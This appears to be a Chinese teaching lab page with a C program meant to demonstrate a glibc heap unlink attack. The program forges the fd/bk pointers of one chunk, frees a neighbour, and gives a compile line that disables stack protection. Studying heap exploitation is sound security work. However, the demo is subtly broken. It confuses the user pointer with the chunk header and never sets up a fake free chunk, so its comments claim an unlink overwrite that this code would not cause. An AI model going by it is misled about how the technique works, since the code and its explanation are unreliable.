实验

实验1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

// 定义堆块结构(模拟 fastbin/freelist)
struct chunk {
size_t prev_size;
size_t size;
struct chunk* fd;
struct chunk* bk;
};

// 打印堆块的状态
void print_chunk(struct chunk* c, const char* name) {
printf("%s chunk at %p:\n", name, c);
printf(" prev_size: %zu\n", c->prev_size);
printf(" size: %zu\n", c->size);
printf(" fd: %p\n", c->fd);
printf(" bk: %p\n", c->bk);
}

int main() {
// Step 1: 申请两个堆块
struct chunk* A = (struct chunk*)malloc(0x100); // 堆块 A
struct chunk* B = (struct chunk*)malloc(0x100); // 堆块 B

printf("Allocated chunks:\n");
print_chunk(A, "A");
print_chunk(B, "B");

// Step 2: 假设我们可以控制 A->fd 和 A->bk,模拟攻击者的行为
A->fd = (struct chunk*)((uintptr_t)&A - 0x18); // 指向堆块 A 的位置 - 0x18
A->bk = (struct chunk*)((uintptr_t)&A - 0x10); // bk 指针为伪造地址

// Step 3: 释放堆块 B,触发 unlink 攻击
free(B);

// 当 free(B) 时,glibc 的 unlink 宏会进行以下操作:
// FD->bk = BK;
// BK->fd = FD;
// 这里我们劫持了 FD 和 BK 指针,使得任意内存地址被覆盖。

printf("After unlink:\n");
print_chunk(A, "A");

return 0;
}
# gcc -o unlink_64 unlink_64.c -fno-stack-protector -z execstack